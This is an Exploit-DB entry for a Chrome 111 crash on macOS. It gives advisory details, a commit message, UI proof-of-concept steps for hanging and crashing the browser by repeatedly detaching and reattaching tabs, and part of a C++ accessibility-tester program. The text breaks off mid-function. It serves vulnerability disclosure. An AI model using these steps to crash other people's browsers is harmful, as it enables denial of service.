Exploit-DB #51361
Description: Google Chrome Browser 111.0.5563.64 - AXPlatformNodeCocoa Fatal OOM/Crash (macOS)
Type: local
Platform: macos
Date: 2023-04-14
Author: LiquidWorm

Exploit:
## Exploit Title: Google Chrome Browser 111.0.5563.64 - AXPlatformNodeCocoa Fatal OOM/Crash (macOS)
## Exploit Author: LiquidWorm

Vendor: Google LLC
Product web page: https://www.google.com
Affected version: 111.0.5563.64 (Official Build) (x86_64)
                  110.0.5481.100 (Official Build) (x86_64)
                  108.0.5359.124 (Official Build) (x86_64)
                  108.0.5359.98 (Official Build) (x86_64)
Fixed version: 112.0.5615.49 (Official Build) (x86_64)

Summary: Google Chrome browser is a free web browser used for
accessing the internet and running web-based applications. The
Google Chrome browser is based on the open source Chromium web
browser project. Google released Chrome in 2008 and issues several
updates a year.

Desc: Fatal OOM/crash of Chrome browser while detaching/attaching
tabs on macOS.

Commit fix:

"The original cl landed many months ago, but
chrome/browser/ui/views/frame/browser_non_client_frame_view_mac.mm
is the only change that didn't revert cleanly."

macOS a11y: Implement accessibilityHitTest for remote app shims (PWAs)

Implements accessibility hit testing for RemoteCocoa so that Hover Text
and VoiceOver mouse mode can read the accessible objects under the
user's pointer. Cross-process plumbing was needed because RemoteCocoa
bridges to native controls in a separate app shim process and must
report accessibility trees from the browser process via the
undocumented NSAccessibilityRemoteUIElement mechanism.

This CL does the following:

1. Unblocks remote accessibilityHitTest by calling setRemoteUIApp:YES
   in the browser process. This enables the browser process to accept
   redirected accessibilityHitTest calls to the object corresponding to
   any NSAccessibilityRemoteUIElement returned by the original
   accessibilityHitTest at the app shim process.

2. (For Browser UI) Overrides NativeWidgetMacNSWindowTitledFrame's
   accessibilityHitTest to have a custom implementation with
   NSAccessibilityRemoteUIElement support so that custom window
   controls can be found. Additionally, adjusts the BrowserView bounds
   so that AXPlatformNodeCocoa's accessibilityHitTest (which doesn't
   support view targeting) can return controls in the web app frame
   toolbar.

3. (For Web Content) Implements RenderWidgetHostViewCocoa's
   accessibilityHitTest for instances in the app shim to return a
   NSAccessibilityRemoteUIElement corresponding to their counterparts
   in the browser process so that web content objects can be found.


Tested on: macOS 12.6.1 (Monterey)
           macOS 13.3.1 (Ventura)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2023-5770
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5770.php


08.12.2022

--


UI PoC:
-------
1. Grab a tab and detach it.
2. Bring back the tab.
3. Do this 2-3 times attaching / re-attaching the tab.
4. Chrome will hang (100% CPU) / Out-of-Memory (OOM) for 7-8 minutes.
5. Process crashes entirely.

Ref: Issue 1400682 (Ticket created: Dec 13, 2022)
Ref: https://bugs.chromium.org/p/chromium/issues/detail?id=1400682
Ref: https://chromium-review.googlesource.com/c/chromium/src/+/3861171
Ref: axtester.mm terminal PoC by xi.ch...@gmail.com (https://bugs.chromium.org/u/161486905)

=============
//
// Copyright (c) Microsoft Corporation. All rights reserved.
//

#include <ApplicationServices/ApplicationServices.h>

#include <iostream>
#include <sstream>
#include <vector>

__BEGIN_DECLS
    // NOLINTNEXTLINE
    AXError _AXUIElementGetWindow(AXUIElementRef, CGWindowID *);
    // NOLINTNEXTLINE
    CFTypeID AXTextMarkerGetTypeID();
__END_DECLS

std::ostream& bold_on(std::ostream& os)
{
    if (isatty(STDOUT_FILENO))
    {
        return os << "\e[1m";
    }
    return os;
}

std::ostream& bold_off(std::ostream& os)
{
    if (isatty(STDOUT_FILENO))
    {
        return os << "\e[0m";
    }
    return os;
}

std::string from_cfstr(CFTypeRef cf_ref)
{
    if (cf_ref != nullptr && CFGetTypeID(cf_ref) == CFStringGetTypeID())
    {
        const auto cf_str = static_cast<CFStringRef>(cf_ref);
        const auto max_length = static_cast<size_t>(CFStringGetMaximumSizeForEncoding(
            CFStringGetLength(cf_str), kCFStringEncodingUTF8)) + 1;

        auto result = std::string(max_length, '\0');
        if (CFStringGetCString(cf_str, result.data(), static_cast<CFIndex>(max_length), kCFStringEncodingUTF8))
        {
            if (const auto pos = result.find('\0'); pos != std::string::npos)
            {
                result.resize(pos);
            }
            return result;
        }
    }
    return {};
}

std::string ax_element_id(AXUIElementRef value)
{
    // AX element cache - AX elements are backed by CFData
    // (referring to 'remote' AX objects) and this data is
    // 'stable' across 'volatile' instances of AXUIElement.
    // 'hash and equality' of AX elements are based on this
    // data and therefore, we can use AXUIElement objects as
    // 'keys' in a dictionary with values, identifying these
    // objects (uniquely).
    const static auto ax_elements = CFDictionaryCreateMutable(kCFAllocatorDefault, 0,
        &kCFTypeDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);

    auto ax_id = CFDictionaryGetValue(ax_elements, value);

    if (ax_id == nullptr)
    {
        if (const auto uuid = CFUUIDCreate(kCFAllocatorDefault))
        {
            if (const auto uuid_s = CFUUIDCreateString(kCFAllocatorDefault, uuid))
            {
                CFDictionarySetValue(ax_elements, value, uuid_s);

                CFRelease(uuid_s);
            }
            CFRelease(uuid);
        }

        ax_id = CFDictionaryGetValue(ax_elements, value);
    }

    return from_cfstr(ax_id);
}

template <typename T>
T ax_attribute_value(AXUIEle